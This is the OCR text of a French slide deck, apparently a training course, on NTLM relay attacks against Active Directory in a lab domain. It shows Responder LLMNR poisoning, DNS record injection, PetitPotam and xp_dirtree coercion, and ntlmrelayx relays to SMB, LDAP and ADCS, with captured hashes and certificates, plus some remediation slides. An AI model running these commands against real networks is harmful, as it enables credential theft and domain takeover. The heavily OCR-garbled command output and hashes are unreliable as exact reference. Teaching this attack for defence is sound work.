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Authentification aupres d’un service Microsoft — Notions de base

Deux méthodes permettent de s’authentifier aupres d’un service sur Windows :
- Kerberos
- NTLM
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Authentification aupres d’un service Microsoft — Notions de base

Kerberos

Voici le condensat de mon mot de
passe
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Authentification aupres d’un service Microsoft — Notions de base

Kerberos

Vioici mon TGS

Service MSSQL
-+

Utilisateur Acces au service MSSQL

Attention : A ce moment précis, 'utilisateur ne fait que prouver son identité. Les droits de l'utilisateur sur le service
sont gérés a postériori directement par le service (ici MSSQL)
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Kerberos
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Authentification aupres d’un service Microsoft — Notions de base

Deux méthodes permettent de s’authentifier aupres d’un service sur Windows :
- Kerberos
- NTLM
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NTLM

Authentification au service sans utiliser Kerberos

Y

Challenge MTLM - 123456739

F 9

Service HTTP

Utilisateur




Authentification aupres d’un service Microsoft — Notions de base

NTLM

Authentification au service sans utiliser Kerberos

Y

Challenge MTLM - 123456739

F 9

Challenge NTLM dérivé avec le hash NT du mot de passe

Service HTTP

Y

ACCEs au service HTTP

'

Utilisateur

Attention : A nouveau, l'utilisateur ne fait que prouver son identité. Les droits de l'utilisateur sur le
service sont gérés a postériori directement par le service (ici HTTP)

_



Authentification aupres d’un service Microsoft — Notions de base

NTLM

GET /certsrv/ HTTP/1.1 HTTP/1.1 401 UnauthorizedContent
Host: 10.26.1.213 Authenticate: NTLM

[.] [.]




Authentification aupres d’un service Microsoft — Notions de base

NTLM

NTLMSSP_NEGOCIATE NTLMSSP_CHALLENGE
GET /certsrv/ HTTP/1.1 HTTP/1.1 401 Unauthorized
Host: 10.26.1.213 Authenticate: NTLM
[...] T1RMTVNTUAACAAAADAAMADgAAAAFgokCVUdopWVYeKIAAAA
Authorization: NTLM AAAAAAKYApgBEAAAAC gBj RQAAAA9NAGEAbABhAHgAeQACAA
T1RMTVNTUAABAAAAB4ITIAAAAAAAAAAAAA wAZWBhAGWAYQB4AHKAAQACAECcAQQBMACOASWBFAFAATABFA
AAAAAAAAAA= FIANAAIADIAQgAEABQAZWBhAGWAYQB4AHKALgBSAGEAbgAD

ADIARWBhAGWALQBLAGUACABSAGUACZAOADUAMEBiACAAZWB
hAGWAYQB4AHKALgBSAGEAbgAFABQAZWBhAGWAYQBAAHKALSE
BSAGEAbgAHAAgAhWH+WER52QEAAAAA

[..]
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NTLM

NTLMSSP_AUTH

/ HTTP/1.1 HTTP/1.1 200 OK
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NTLM
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3297 GET /certsrv/ HTTP/1.1

237 HTTP/1.1 481 Unauthorized

463 GET /certsrv/ HTTPR/1.1

r

(text/html)
NTLMSSP_NEGOTIATE

893 HTTP/1.1 481 Unauthorized , NTLMSSP_CHALLENGE (text/html)

859 GET /certsrv/ HTTP/1.1

r

NTLMSSP_AUTH, User:

\R5-D4




Relai NTLM — Théorie
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Alice s’authentifie au service

Authentification NTLM




Eve se positionne en relai
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Eve se positionne en relai




Eve se positionne en relai




Eve se positionne en relai




Eve obtient un acces au service




NTLMSSP_NEGOCIATE

NTLMSSP_NEGOCIATE

NTLMSSP_CHALLENGE

{ NTLMSSP_CHALLENGE

NTLMSSP_AUTHENTICATE

NTLMSSP_AUTHENTICATE

Session Setup Request, NTLMSSP_NEGOTIATE
GET /certsrv/certsrv/certfnsh.asp HTTP/1.1 , NTLMSSP_NEGOTIATE

HTTP/1.1 481 Unauthorized , NTLMSSP_CHALLENGE (text/html)

Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE
Session Setup Request, NTLMSSP_AUTH, User: galaxy\GAL-KESSEL$

GET /certsrv/certsrv/certfnsh.asp HTTP/1.1 , NTLMSSP_AUTH, User: galaxy\GAL-KESSEL%

AUTHENTICATE_OK




Authentification aupres d’un service Microsoft — Notions de base

NTLM

> Impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp --adcs -smb2support

rack : http://10.26.1.213/certsrv/certsrv/certfnsh.asp
Impacket v0.10.2 - Copyright 2022 SecureAuth Corporation

[*] Protocol Client HTTP loaded..
l*] Running in relay mode to single host

[*] setting up SMB Server
[*] Setting up HTTP Server on port 80
[*#] setting up WCF Server
[*] setting up RAW Server on port 6666

[*] servers started, waiting for connections

[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.26.1.212, attacking target http:/
/10.26.1.213

[*] HTTP server returned error code 404, treating as a successful login

[*] Authenticating against http://10.26.1.213 as GALAXY/GAL-KESSEL$ SUCCEED

l*] Getting certificate...

[*] GOT CERTIFICATE! ID 19

[*] Base64 certificate of user GAL-KESSELS$:
MIIRLQIBAzZCCEOcGCSqGSIb3DQEHAaACCENgEEEhDUMIIQ@DCCBWeGCSqGSIb3DQEHBqCCBYEWEEhOAgEAMIIG7 QY JKoZIhveNAQCBMBWGC
1qGSIb3DQEMAQMWDEQIi6aoqEUHCDUCAZEASI IGWFGAVZYAWDgUZP1h3N® jYvnXoVviggxaJAtmOgvZIdpxDj/4ozdef /L7CIsOfHEFr0
gHE86/AyrDB50G4bvdgbu61F3y3HIQ2r0g jzOnyyc2M3f5wZkZ6k52UwNmI/4bWELDomr2i@RaagRo27ME6NyhintW4X1doL1LogLS7Wd7
avI+YSp3gwghmiOy+dHEBNKSXpl6K1SvgMIgU3IRu3DILvhd/22rBTcX6FPonPbriQzZQ3pMlelE2rkDYWEd1Na6cnYX82ZGQOH,/DTCWADt
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Relai NTLM - Pratique

Comment réussir a obtenir une authentification client ?
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Relai NTLM - Obtenir une authentification client

2 TYPES DE METHODES
» Ecoute active sur le réseau
 Forcer une authentification

[SMB] NTLMv2-SSP Hash : Administrator::GAL-TATOOINE:1122334455667788:EQ7FDAELU66E7OUEF7UTU55EC8353240B:01010000000000
000eU47F9D5B779D90138FE628311B4221200000000020008004CEOLL4E03900450001001E00570049004EOR2DOO33004600U800LL4OOUEORLUS5005700LUC
gedleodBeoddpeedee3does70049004ER02D003300U0600480044004EROL50057004CO0L1004BROLLPO2EORLUCOOLL4OO3900U5002EOOUCOOUFOOL300L41

gedCeoe3eelldeedcoedyoe39eed5002E004COO4FOOU3004]1004CROE50014004COOLL4O0390045002E0OUCOOLUFOOL3004100U4COOOTOO08000OUTFIDSBT
7909010600040002000000080030003000000000000000000000000030000AEES88B5FFCBCDAC2A19ES5CT7639F628A6258810C22DES1DCBAT75C92C066
A1E6CBRALO1OCOOEOLOLOLOEAOEOEOLOLOEAOOOEOLOLOLE900120063006900660073002FA07URO6500730074000000COCOLOLOLA0E




Relai NTLM - Obtenir une authentification client

Ecoute active sur le réseau

Résolution DNS d’une machine au sein d’un AD :
1. Regarde dans son cache DNS
2. Effectue une requéte DNS a son serveur DNS
3. Si LLMNR/NBT-NS actifs : Demande sur son LAN si quelgu’un est en mesure de
répondre a la requéte DNS

LY
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Ecoute active sur le réseau

Résolution DNS d’une machine au sein d’un AD :
1. Regarde dans son cache DNS
2. Effectue une requéte DNS a son serveur DNS
3. Si LLMNR/NBT-NS actifs : Demande sur son LAN si quelgu’un est en mesure de
répondre a la requéte DNS
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Ecoute active sur le réseau

Ajout d’'une entrée DNS au sein de I’Active Directory

Recycle Bin

p 3 dnstool.py 'gala lan\R5-D&"' nknown "add’ 10.26.10.3 10.26.1.201 BN Command Prompt

Connecting to host... : Ft Wing sion 16.8.1¢
Binding to host 28 Microsoft Corporation.
Bind OK

Adding new record

LDAP operation completed successfully

python3 dnstool.py 'galaxy.lan\R5-D4' "unknown' query' 10.26.1.201
Connecting to host...
Binding to host
Bind OK
l+] Found record unknown
DC=unknown ,DC=galaxy.lan,CN=MicrosoftDNS,DC=DomainDnsZones,DC=galaxy,DC=1lan
[+] Record entry:
- Type: 1 (A) (Serial: 62)

- Address: 10.26.10.3




Relai NTLM - Obtenir une authentification client

Ecoute active sur le réseau

Ajout d’'une entrée DNS au sein de I’Active Directory

=

tecycle Bin

"

T

I Desktop

=/ Pictures
J‘ﬂ Music

B videos

Microsoft # OneDrive

= | File Explorer

Share View

# Viunknown|

5 Quick access

; Downloads

=] Documents

~ Frequent folders (6)

Desktop

- This PC

Documents
Iﬁ This PC

Music

ﬁ This PC

Search Quick accs

Downloads

‘ This PC

Pictures
e This PC
e

Videos
This PC

NTLMv2-S5P Client

NTLMv2-55P Username :

NTLMv2-55P Hash
5004

NTLMv2-S5P Client

NTLMv2-55P Username :

NTLMv2-55P Hash




Relai NTLM - Obtenir une authentification client

Ecoute active sur le réseau

Ajout d’'une entrée DNS au sein de I’Active Directory - Remédiation

p dnstool.py 'galaxy.lan C "wpad' ada 10.26.1.253 10.26.1.201
Connecting to host...
Binding to host
] Bind OK
Record already exists and points to 10.26.1.253. Use --action modify to overwrite or --allow-multiple to override this

\ 3 dnstool.py 'galaxy.lan\C3-P0" "wpad"' ‘modify’ 10.26.1.253 10.26.1.201
Connecting to host...
Binding to host
1 Bind oK
Modifying record
LDAP operation failed. Message returned from server: insufficientAccessRights 00002098: SecErr: DSID-03150F94, problem 4003 (INSUFF_ACCESS_RIGHTS), data @

p dnstool.py 'galaxy.lan C "wpad"' "add’ 10.26.1.253 10.26.1.201
Connecting to host...

Binding to host
] Bind OK
Adding extra record
LDAP operation failed. Message returned from server: insufficientAccessRights 00002098: SecErr: DSID-83150F94, problem 4003 (INSUFF_ACCESS_RIGHTS), data ©




Relai NTLM - Obtenir une authentification client

Ecoute active sur le réseau

Résolution DNS d’une machine au sein d’un AD :
1. Regarde dans son cache DNS
2. Effectue une requéte DNS a son serveur DNS
3. Si LLMNR/NBT-NS actifs : Demande sur son LAN si quelqu’un est en mesure de
répondre a la requéte DNS
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Ecoute active sur le réseau

Protocoles LLMINR et NBT-NS

L¢ sudo responder -I "ethl" -v

[.]

[*] [LLMNR] Poisoned answer sent to 10.26.1.221 for name unknown
[SMB] NTLMv2-SSP Client : fe80::5d91:56d:da45:48ae
[SMB] NTLMv2-SSP Username : galaxy\C3-PO

[SMB] NTLMv2-SSP Hash : C3-
PO: :galaxy:1122334455667788 : 6DDE32B4AA94EACOC1DD71197051E145 : 01010000000

00000001DB1F1B879D9011EQC92AB6EODD69EO0000000020008003500470058005700010
©1E00570[..]0000900180063006900660073002F0075006EQ0O6BOO6EOO6F0077006E0000
00000000000000
[*] [MDNS] Poisoned answer sent to 10.26.1.221
unknown.local

for name

L ¢ sudo responder -I "ethl" -v

NBT-NS, LLMNR & MDNS Responder 3.1.3.0

To support this project:
Patreon —> https://www.patreon.com/PythonResponder
Paypal -> https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

[*] [LLMNR] Poisoned answer sent to 10.26.1.221 for name unknown

[SMB] NTLMv2-SSP Client : fe80::5d91:56d:dal5:U48ae

SMB] NTLMv2-SSP Username : galaxy\C3-PO

[SMB] NTLMv2-SSP Hash : C3-P0::galaxy:1122334455667788: 6DDE32BUAA9LUEACE
D9011EOGC92AB6EODDA9ENOOOOALOR2000800350047005800570001001E005700U900LUERO2DE
OUEE3U4OO5700L90AUEAO2DOO58003500U50032004F00U100U500U4FOO58005A0057002ERO35€E
3500U4700580057002E00L4COAAUFOOLU30OL100L4COOO5001LOO3500U4T700580057002E0QUCOOUFE
020000000800300030000000000000000POEAERROO20POEOEES88BSFFCBCDAC2A19ESCT7639F
00000000000000000000CEEELEO0EAOEAR900180063006900660073002F0075006EQ06BOOGEE
[*] [MDNS] Poisoned answer sent to 10.26.1.221 for name unknown.®local
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Ecoute active sur le réseau

Protocoles LLMNR et NBT-NS - Protection

File

= Local Group Policy Editor

Action  View Help

s 2@ Em ¥

W

5[ Lecal Computer Policy

v i Computer Configuration

| Software Settings

| Windows Settings

| Administrative Templates

| Control Panel

| Metwork
| Background Intelligent Transfel
| BranchCache
| DirectMccess Client Experience
| DNS Client

Fonts

| Hotspot Authentication

Lanman Server
Lanman Workstation

| Link-Layer Topology Discovery
| Microsoft Peer-to-Peer Metwor
| Metwork Connections

| Metwork Connectivity Status In
| MNetwork Isolation

| Network Provider

| Offline Files

| QoS5 Packet Scheduler

| SNMP

S5L Configuration Settings
TCPIP Settings

| Windows Connect Now

| Windows Connection Manage:

DNS Client

Select an item to view its description.

Setting
|i=] Allow NetBT queries for fully gualified domain names

\i=] Allow DNS suffix appending to unqualified multi-label nam...

iz| Connection-specific DNS suffix

Primary DMN5 suffix devolution level

=| Turn off IDN encoding

i=| IDM mapping

i=| DNS servers

Prefer link local responses over DMS when received over a n...
Primary DNS suffix

Register DNS records with connection-specific DNS suffix
Register PTR records

Dynamic update

Replace addresses in conflicts

\i=] Registration refresh interval

\i=] TTL value for A and PTR records

DNS suffix search list

Turn off smart multi-homed name resolution

=| Turn off smart protocol reordering
\iz] Update security level
|i=| Update top level domain zones

Primary DNS suffix devolution

State
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured

Turn off multicast name resclution

Mot configured I
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Forcer une authentification

De nombreuses méthodes permettent de forcer une authentification vers notre machine
d’attaque, certaines sont rencontrées plus régulierement que d’autres

1. PetitPotam, la boite a outil pour forcer une machine a s'authentifier
a) Forcer une authentification SMB
b) Forcer une authentification HTTP

2. Forcer une authentification SMB via MSSQL
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Forcer une authentification
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1. PetitPotam, la boite a outil pour forcer une machine a s’authentifier
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Relai NTLM - Obtenir une authentification client

Forcer une authentification — PetitPotam en SMB
D galaxy.lan C3-PO 10.26.10.3 10.26.1.212 «/ fdefault
Impacket v0.10.2 - Copyright 2022 SecureAuth Corporation

%] Config file parsed
o *] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BFGEE188 V:3.0
- _ I _l | SN L *] Callback added for UUID 6BFFD@98-A112-3610 -46C3FB7E345A V:1.0
i I N I T N T T N 2 VO O N O I x] Config file parsed
_I nnmn I_IIIIIIIIIIII_IIIIIIIIIIII_IIIIIIIIIIII_IIIIIIIIIIII_I mnnmn I_IIIIIIIIIIII_IIIIIIIIIIII IIIIIIIIIIII IIIIIIIIIIII *% C‘JI‘fig _Fi'Le paI‘SEd
*
%]
%]
%]

Q1L N 1L
|| /

"-p-0-'"""-0-0-'""-0-0-'""-0-0-"""-0-0-'""-0-0-'""-0-0-"""-0-0-'""-0-0-'""-0-0-' Config file parsed
Incoming connection (10.26.1.212
AUTHENTICATE_MESSAGE (galaxy\GAL-KESSEL$,GAL-KESSEL)
k] User GAL-KESSEL\GAL-KESSEL$ authenticated successfully
[*] GAL-KESSEL$::galaxy:aaaaaaaaaaaaaaaa:l6a74ad 316cfesf3e7f20267d74
Inspired by gtifkin_ & gelad_shamir previous work on MS-RPRN 1fob6ael1al@298e5b000000000100100042006100420043004e00750 )003001€
020010007a006T0D760047004500660065007200040010007a006T00760047004500668
} p00000000000000000000000400000d2eb654310201228
0002000000000000000000000000000090010R63006900E
Trying pipe lsarpc -5 'ﬁﬁﬁ2et 2000000000000000000000000
[-] Connecting to ncacn_np:10.26.1.212[\PIPE\lsarpc] *] Closing down connection (10.26.1.212,63362)
[+] connected! *] Remaining connections []
[+] Binding to c681d488-d850-11d@-8c52-00c04fdonfie *] Incoming connection (10.26.1.212,63363)
[+] Successfully bound! *]| AUTHENTICATE_MESSAGE (galaxy\GAL-KESSEL%,GAL-KESSEL)
[-] sending EfsRpcOpenFileRaw! % Usex GAL-KESSEL\GAL-KESSEL$ authenticated successfully
[+] Got expected ERROR_BAD_METPATH exception!! *] GAL-KESSEL%::galaxy:aaaaaaaaaaaaaaaa:243d2fob6b6951028f3
[+] Attack worked! 4fa038734a150b8d000000000100100042006100420043004e00750053

PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (gtopotam77)

4
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Relai NTLM - Obtenir une authentification client

Forcer une authentification

De nombreuses méthodes permettent de forcer une authentification vers notre machine
d’attaque, certaines sont rencontrées plus régulierement que d’autres

1. PetitPotam, la boite a outil pour forcer une machine a s’authentifier
a) Forcer une authentification SMB
b) Forcer une authentification HTTP

2. Forcer une authentification SMB via MSSQL
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Forcer une authentification — PetitPotam en HTTP

Deux prérequis :
Service Webclient actif sur la cible Posséder une entrée DNS

webclient er galaxy.lan/C3-P0: 710.26.1.0/24 10.26.1.201 : S— _ _
WebClient Service Scanner v0.1.0 - pixis (g@hackanddo) - Based on @tifkin_ idea python3 dnstool.py ga -lan\R5-D&" ‘unknown’ ‘query’ 10.26.1.201
Connecting to host...

[Errno Connection error (10.26.1.49:445)] [Errno 111] Connection refused Binding to host
[Errno Connection error (10.26.1.232:445)] [Errno 111] Connection refused [+] Bind OK
SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a [+] Found record unknown
me or authentication information.) DC=unknown ,DC=galaxy.lan,CN=MicrosoftDNS,DC=DomainDnsZones,DC=galaxy,DC=1lan
[10.26.1.213] [+] Record entry:
[10.26.1.52] - Type: 1 (A) (Serial: 62)
[10.26.1.212] - Address: 10.26.10.3
[10.26.1.222]
[10.26.1.53]
[10.26.1.221] RUNNING
[10.26.1.50]
[10.26.1.214]
[10.26.1.231]
[10.26.1.215]
[10.26.1.201]

1.202]

[10.26.

4
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Forcer une authentification — PetitPotam en HTTP

13 PetitPotam.py galaxy.lan C3-PO unknowng8®/aaa 10.26.1.221

N 1. () [ I
I/ /-2 1 _l I (- I
) ) U VAU O VY N A W B
_I nmnn I_Innnnnl_lnnnnnl_lnnnnnl_lnnnnnl_l nmnn I_Innnnnl_lnnnnnl

n‘_e_e_ln‘_e_e_ln‘_e_e_ln‘_e_e_ln‘_e_e_ln‘_e_e_ln‘_e_e_ln‘_e_e_ln‘_e_e_ln‘_e_e_l

\
VA A U

VR I B
- N/ Al \_,_
_

PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (gtopotam77)

Inspired by gtifkin_ & gelad_shamir previous work on MS-RPRN

Trying pipe lsarpc
[-]1 connecting to ncacn_np:10.26.1.221[\PIPE\1lsarpc]

[+] connected!

[+] Binding to c681d488-d850-11d0-8c52-00c@4fdInfie
[+] Successfully bound!

[-] sending EfsRpcOpenFileRaw!

[+] Got expected ERROR_BAD_NETPATH exception!!

[+] Attack worked!

NTLMv2 Client : 10.26 221
NTLMv2 Username E -TATOOINE$
NTLMv2

4
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Forcer une authentification

De nombreuses méthodes permettent de forcer une authentification vers notre machine
d’attaque, certaines sont rencontrées plus régulierement que d’autres

1. PetitPotam, la boite a outil pour forcer une machine a s'authentifier
a) Forcer une authentification SMB
b) Forcer une authentification HTTP

2. Forcer une authentification SMB via MSSQL
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Forcer une authentification — MSSQL

client galaxy.lan/c3-po:': . 'gle.26.1.213 ./ fdefault
Impacket uﬁ 10.2 - Copyright 2022 SecureAuth Corporation Impacket v©.10.8 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS *] Config file parsed

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master *| Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english *| Callback added for UUID 6BFFD098-A112-3 1 3

[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 *] Config file parsed

[*] INFO(GAL-KEPLER452B\SQLEXPRESS): Line 1: Changed database context to 'master’. *] Config file parsed

[*] INFO(GAL-KEPLER452B\SQLEXPRESS): Line 1: Changed language setting to us_english. *] Config file parsed

[#] ACK: Result: 1 - Microsoft SOL Server (13@ 15161) *] Incoming connection (10.26.1.21

[!] Press help for extra shell commands *] AUTHENTICATE_MESSAGE (galaxy\r5-d4

SQL> exec master.sys.xp_dirtree '\\10.26.10.3\myshare’,1,1 *] User GAL-KEPLER452B\r5-d4 authenticated successfullw
subdirectory *] r5 g aaaaaaaaaaaaaaaa BcﬂsﬁTzfslleﬁaqdfﬁc

ﬂﬂgﬂﬂﬂ 000
b57166460a00100000000
0002ed De

[*#] Closing down connection (1@.26.1.213

[*] Remaining connections []

[*] Incoming connection (10.26.1.213,53391)

[*] AUTHENTICATE_MESSAGE (\,GAL-KEPLER452B)

[#] User GAL-KEPLER452B\ authenticated successfully




Relai NTLM - Pratique

Que permet le relai ?
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Relai NTLM - Utiliser notre authentification client

Utiliser une authentification

Une authentification NTLM permet de s’authentifier sur de nombreux services dont les
plus importants :

SMB, le serveur de partage de fichiers Windows
LDAP, 'annuaire Active Directory

ADCS, le service de gestion des certificats
MSSQL, le service de gestion de base de données

B wnN e
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Utiliser une authentification

Une authentification NTLM permet de s’authentifier sur de nombreux services dont les
plus importants :

SMB, le serveur de partage de fichiers Windows
LDAP, 'annuaire Active Directory

ADCS, le service de gestion des certificats
MSSQL, le service de gestion de base de données
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Utiliser une authentification - SMB

L$ impacket-mssqlclient galaxy.lan/c3-po:': . '§10.26.1.213
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master

[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english

[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192

[*] INFO(GAL-KEPLER452B\SQLEXPRESS): Line 1: Changed database context to 'master’.
[*] INFO(GAL-KEPLER452B\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SOL Server (130 15161)

[!1] Press help for extra shell commands

SOL> exec master.sys.xp_dirtree '\\10.26.10.3\myshare',1,1
subdirectory

4
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Utiliser une authentification - SMB

smb://10.20.1.214%
Impacket v0.10.2 - Copyright 2022 SecureAuth Corporation

[*] servers started, waiting for connections

Type help for list of commands

ntlmrelayx> * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver' (lazy loading)
* Environment: production

* _Debug _mode: off

[*] sMBD-Thread-9 (process_request_thread): Received connection from 10.26.1.213, attacking target smb:
10.26.1.214

[*] Authenticating against smb://10.26.1.214 as GALAXY/R5-D4& SUCCEED

[*] socKS: Adding GALAXY/R5-D4§10.26.1.214(445) to active SOCKS connection. Enjoy

socks

Protocol Target Username AdminStatus Port

GALAXY/R5-D4 TRUE
ntlmrelayx:>

INTRINSEC%"‘
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Utiliser une authentification - SMB

oroxychains impacket-smbclient galaxy/r5-D4g10.26.1.214
Impacket v@.10.0 - Copyright 2022 SecureAuth Corporation

Type help for list of commands

# use c$

# 1s

drw-rw-rw- Wed 19:51:00 $Recycle.Bin
—-IW-TwW-Irw- Wed 19:59:31 BitlockerActiveMonitoringlLogs
-I'W-I'W-Iw- Wed 16:44:26 bootmgr

-TI'W-T'W-TW- Wed 16:44:26 BOOTNXT

drw-rw-rw- Wed 10:53:28 Documents and Settings
drw-rw-rw- Wed 15:53:53 ExchangeSetuplLogs
drw-rw-rw- Wed 15:31:34 inetpub

drw-rw-rw- Wed 19:26:59 lab_setup

-rw-rw-rw- 3087007744 Wed 19:25:18 pagefile.sys
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Utiliser une authentification

Une authentification NTLM permet de s’authentifier sur de nombreux services dont les
plus importants :

SMB, le serveur de partage de fichiers Windows
LDAP, I'annuaire Active Directory

ADCS, le service de gestion des certificats
MSSQL, le service de gestion de base de données
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Utiliser une authentification - LDAP

n3 PetitPntam.ﬁx galaxy.lan C3-PO 10.26.10.3 10.26.1.212

N I () - - -
I/ 7= 1 _l I [ A
0 VO VY [ O P VO I U VO N VO N VPO I U U O
_I non I_InnnnnI_InnnnnI_Innnnnl_lnnnnnl_l nmn I_Innnnnl_lnnnnnl_lnnnnnl_lnnnnnl

n‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_l

PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (gtopotam77)

Inspired by @tifkin_ & gelad_shamir previous work on MS-RPRN

Trying pipe lsarpc

[-] connecting to ncacn_np:10.26.1.212[\PIPE\lsarpc]
[+] Connected!

[+] Binding to c681d488-d850-11d0-8c52-00c04fdoafie
[+] Successfully bound!

[-] sending EfsRpcOpenFileRaw!

[+] Got expected ERROR_BAD_METPATH exception!!

[+] Attack worked!
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Utiliser une authentification - LDAP

X ldap://10.26.1.201
Impacket uﬂ 1@ ﬂ - Cnpvllﬂht 2022 SecureAuth Corporation

Servers started, waiting for connections

HTTPD(80): Connection from 10.26.1.221 controlled, attacking target ldap://10.26.1.201
HTTPD(80): Authenticating against ldap://10.26.1.201 as GALAXY/GAL-TATOOINE$ SUCCEED
Searching for the target account

Target user found: CN=GAL-TATOOINE,OU=WinRM,0OU=WorkStations,OU=Machines,DC=galaxy,DC=1lan
Generating certificate

Certificate generated

Generating KeyCredential

KeyCredential generated with DevicelD: 2c9b6c7e-e8d9-5dbc-6c@2-8b148aad1939

Updating the msDS-KeyCredentiallLink attribute of GAL-TATOOINE$

Updated the msDS-KeyCredentiallLink attribute of the target object

Ssaved PFX (#PKCS12) certificate & key at path: 4GMErlg7.pfx

Must be used with password: ufxmSrnalPlePA13vsR8

A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

Run the following command to obtain a TGT
[* ] python3 PKINITtools/gettgtpkinit.py -cert-pfx 4GMErlg7.pfx -pfx-pass ufxmSrnalPlePA13vsR8 galaxy.lan,
GAL-TATOOINE$ 4GMErleg7.ccache
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Utiliser une authentification

Une authentification NTLM permet de s’authentifier sur de nombreux services dont les
plus importants :

SMB, le serveur de partage de fichiers Windows
LDAP, 'annuaire Active Directory

ADCS, le service de gestion des certificats
MSSQL, le service de gestion de base de données

S
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Utiliser une authentification - ADCS

PetitPotam.py galaxy.lan unknowng80/aaa 10.26.1.221

PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)

Inspired by gtifkin_ & gelad_shamir previous work on MS-RPRN

Connecting to ncacn_np:10.26.1.221[\PIPE\lsarpc]
Connected!

Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
Successfully bound!

Sending EfsRpcOpenFileRaw!

Got expected ERROR_BAD_NETPATH exception!!
Attack worked!
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Utiliser une authentification - ADCS

http://10.26.1.213/certsrv/certfnsh.asp
Impacket v0.10.8 - Copyright 2022 SecureAuth Corporation

Servers started, waiting for connections
*]| SMBD-Thread-5 fprocess request_thread): Received connection from 10.26.1.221, attacking target http:/
p.26.1.213
HTTP server returned error code 200, treating as a successful login
Authenticating against http://10.26.1.213 as GALAXY/GAL-TATOOINE$ SUCCEED
*] SMBD-Thread-7 (process_request_thread): Connection from 10.26.1.221 controlled, but there are no more
targets left!
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
%] GOT CERTIFICATE! ID 15
x] Base64 certificate of user GAL-TATOOINES:
\IIRLI)IBAL CCEI)-: GC qﬁ'S QEHAaACCENgEghDUMIIQ@DCCBwCcGCSqGSIb3DOEHBQCCBvEWgebPAZEAMIIGT QY JK0ZIhvcNAQCBMBWGC
3 gEAE 74NMEDWUSUVOE3bE6GO6FIZgDMI
-’fGU.JlaTAI"NAtI-\lNEzI.JHS.IZTUE,a"'.Gjzlﬁkptﬁﬂnf;[}h[ﬂ%1G\-’C1H‘.ng__ sCYVSIM] 9IBSV7PPYSK PBZd7tWRAWDL
pbCL6m1faEQoXCHZ96859wbhUgjYeZyxGaHLtUxhk+nQ51E5zMUH+9I0pIDB4CYXv7 /1XHEZWnwwEPB7p3gUckgMnz5ulVM4Be 2?
B/ XPINvUSSrstOLL5bSDYzw\VeJY1YM1ATBgDHZrmhv6PXDO18+x0UUKSKT jeY4ZZIYugj2k/ g3kl gLTDFQ0jON
i oGE?Ruk254f+fﬂn1t60hﬂ#kaKUeLiquFTquT_h 8ynYmOvw8Az0210hISfDNV2nTgkLnfcnH5ZvX00g1s9PNOTfQsSPEGN W1HnE
4P3 kDRRw’HaUS ROTEVNUh7nenRcRNNc fXJITbiF5P4ykIzx8zSAzVX/CACTISEZT4 ImMy IXNKI rdKKt1
| UKbNckrvoUH8+S1W61/wMU2TrdiAn/Irfiplitg TiﬂbufjlmﬁBEkUQqEzjeH
‘T’TVJh”a+ﬁaA]U(R;'Bm”UanWaﬁph+T BaZVok@PRMx9naPEna6s /YbDIddDuO&H+wp9Kbjn/I / 1J9ftBzh;
IM1tTI4LIr6wB8Uof6HL3HIzNpGdLagQVL8ZmjbX2/V1UANuJ6bIzxGztCcOTarvZashvas5Ia37hgflGs VnP!znmRAfARE ypZabyVC+E
St KA T Lnbe P HOMCKNTAPYFT L sMUIARNCT 7231 VAuT uvnlNSPCht FINFYNzFRT1AI uFGS21hFrk]l anAVannVanouS72a20 G111 7nanuT e
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Utiliser une authentification

Une authentification NTLM permet de s’authentifier sur de nombreux services dont les
plus importants :

SMB, le serveur de partage de fichiers Windows
LDAP, 'annuaire Active Directory

ADCS, le service de gestion des certificats

MSSQL, le service de gestion de base de données
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Utiliser une authentification - MSSQL

n3 PetitPntam.ﬁx galaxy.lan C3-PO 10.26.10.3 10.26.1.212

N I () - - -
I/ 7= 1 _l I [ A
0 VO VY [ O P VO I U VO N VO N VPO I U U O
_I non I_InnnnnI_InnnnnI_Innnnnl_lnnnnnl_l nmn I_Innnnnl_lnnnnnl_lnnnnnl_lnnnnnl

n‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_ln‘_ﬁ_ﬁ_l

PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (gtopotam77)

Inspired by @tifkin_ & gelad_shamir previous work on MS-RPRN

Trying pipe lsarpc

